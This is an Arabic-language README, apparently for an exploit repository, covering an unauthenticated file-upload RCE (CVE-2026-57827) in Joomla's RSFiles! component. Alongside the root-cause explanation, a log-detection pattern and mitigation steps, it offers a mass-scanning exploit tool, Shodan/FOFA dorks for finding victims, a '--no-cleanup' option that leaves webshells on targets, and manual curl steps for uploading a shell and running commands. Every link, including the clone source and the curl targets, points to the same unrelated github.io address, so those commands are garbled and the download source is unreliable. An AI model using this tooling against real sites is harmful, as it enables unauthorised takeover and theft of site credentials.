
CVE-2026-57827 — Updated!
توضيح ثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في مكوّن RSFiles! الخاص بجوملا من خلال رفع ملفات تعسفي.
CVE-2026-57827 — ثغرة رفع ملفات غير مصادق عليها في مكوّن RSFiles! لـ Joomla تؤدي إلى RCE
تجاوز الرفع عبر المتحكّم المقسوم → استدعاء مباشر لمهمة الكتابة → /downloads/shell.php → RCE
نظرة عامة
CVE-2026-57827 هي ثغرة رفع عشوائي للملفات غير مصادق عليها بدرجة خطورة حرجة (CVSS 9.8) في RSFiles! (com_rsfiles)، وهو مكوّن شائع الاستخدام لإدارة الملفات والتنزيلات في Joomla، للإصدارات < 1.17.12.
تستغل الثغرة خللًا في تصميم المتحكّم المقسوم (split-controller): إذ يفصل RSFiles! عملية الرفع إلى مهمّتين في الواجهة الأمامية — فحص مسبق (بوابة صلاحيات + قائمة سماح بالامتدادات) ودالة كتابة (تحفظ الملف على القرص). يمكن استدعاء دالة الكتابة مباشرةً، متجاوزًا الفحص المسبق بالكامل. لا حاجة إلى أي مصادقة أو رمز CSRF.
الإصدارات المتأثرة
| الإصدار | الحالة |
|---|---|
| < 1.17.12 | مُعرَّض للثغرة |
| 1.17.12+ | مُصحَّح |
اكتُشفت بواسطة: Phil Taylor، mySites.guru (10 يوليو 2026) البائع: RSJoomla (rsjoomla.com) المكوّن: com_rsfiles
آلية الثغرة
السبب الجذري
يقسّم RSFiles! عملية الرفع عبر مهمّتين منفصلتين في الواجهة الأمامية داخل /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
لماذا تنجح
- متحكّم مقسوم — فحوصات الأمان وكتابة الملف في دالتين منفصلتين. الفحص المسبق فقط هو المحمي.
- وصول مباشر إلى المهمة — يتيح متحكّم الواجهة الأمامية في Joomla استدعاء أي مهمة مباشرةً عبر
&task=rsfiles.upload، متجاوزًا الفحص المسبق بالكامل. - لا مصادقة — لا يفرض متحكّم الواجهة الأمامية أي فحص وصول. يمكن للزوار المجهولين استدعاء مهمة الكتابة.
- لا رمز CSRF — لا يتضمن نموذج الرفع في الواجهة الأمامية رمز CSRF على مستوى الموقع.
- لا تحقق من نوع الملف — تقرأ دالة الكتابة اسم الملف من الطلب وتمرّره إلى معالج الرفع المدمج في Joomla (
JFile::upload())، الذي يقبل أي نوع ملف افتراضيًا. - مجلد التنزيلات في جذر الويب — يقع مجلد التنزيلات الافتراضي لـ RSFiles! داخل جذر الويب. ملف
.htaccessالوقائي الذي كان سيمنع تنفيذ PHP هناك هو إعداد اختياري (opt-in) في لوحة الإدارة ويكون مُعطَّلًا افتراضيًا.
مسار الهجوم
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
مراجع الكود المصدري المُتحقق منها
| الملف | الغرض |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | المتحكّم الذي يحتوي على المهمّتين الضعيفتين upload() وcheckupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | قالب نموذج الرفع في الواجهة الأمامية (مؤكَّد: name="file", task=rsfiles.upload) |
/downloads/ | مجلد التنزيلات الافتراضي في جذر الويب (حماية .htaccess مُعطَّلة افتراضيًا) |
/briefcase/ | مجلد الحقيبة (briefcase) (قابل للكتابة أيضًا) |
الكشف في سجلات الخادم (من نشرة RSJoomla)
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
خلل التصميم الأساسي
فحوصات الأمان (بوابة الصلاحيات + قائمة السماح بالامتدادات) هي خطوة مسبقة منفصلة عن الدالة التي تكتب الملف فعليًا. الأولى فقط تحتوي على الفحوصات. أما الثانية — التي تكتب على القرص — فيمكن استدعاؤها مباشرةً عبر صياغة معامل task المناسب في الرابط، متجاوزةً جميع ضوابط الأمان.
هذا مثال نموذجي على النمط المضاد «الفحوصات والإجراءات في أماكن مختلفة»: الحارس والعملية التي يفترض أن يحميها منفصلان، ويمكن للمهاجم الوصول إلى العملية دون المرور عبر الحارس.
التثبيت
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
الاستخدام
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
الوسائط
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
إثبات المفهوم
هدف واحد
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
الاستغلال اليدوي
الخطوة 1 — رفع القشرة (shell)
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
الخطوة 2 — الوصول إلى القشرة
curl 'https://candisexterior171.github.io'
الخطوة 3 — تنفيذ الأوامر
curl 'https://candisexterior171.github.io;hostname;uname -a'
التخفيف (إذا لم يكن التحديث ممكنًا)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA / Shodan
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
التأثير
الاستغلال الناجح يتيح تنفيذ التعليمات البرمجية عن بُعد بصلاحيات مستخدم خادم الويب:
- استخراج
configuration.php→ بيانات اعتماد قاعدة البيانات وأسرار SMTP - الوصول إلى جميع محتويات Joomla والمستخدمين وبيانات الإضافات
- نشر أبواب خلفية دائمة
- الانتقال إلى الشبكات الداخلية
- تشويه الموقع أو حقن برمجيات خبيثة
لا يلزم وجود حساب على الموقع في أي خطوة. مجهول الهوية، غير مصادق عليه، عن بُعد.
الإصلاح (1.17.12)
أصلحت RSJoomla الثغرة في الإصدار 1.17.12 عبر:
- إضافة فحص صلاحيات إلى دالة الكتابة نفسها (وليس فقط إلى الفحص المسبق)
- إضافة تحقق من نوع الملف إلى دالة الكتابة
- فرض رمز CSRF على نقطة الرفع في الواجهة الأمامية
- جعل حماية
.htaccessفي مجلد التنزيلات مُفعَّلة افتراضيًا
إخلاء المسؤولية
لأغراض تعليمية وللاختبار المصرّح به فقط.
لا تستخدمه ضد أنظمة دون إذن صريح من المالك. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.
المراجع
| المصدر | الرابط |
|---|---|
| إدخال NVD | CVE-2026-57827 |
| نشرة mySites.guru | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| نشرة RSJoomla | rsjoomla.com |
| CWE-434 | رفع غير مقيد لملف من نوع خطير |
| المُبلِّغ | Phil Taylor، mySites.guru |
غير تابعة لـ RSJoomla أو mySites.guru.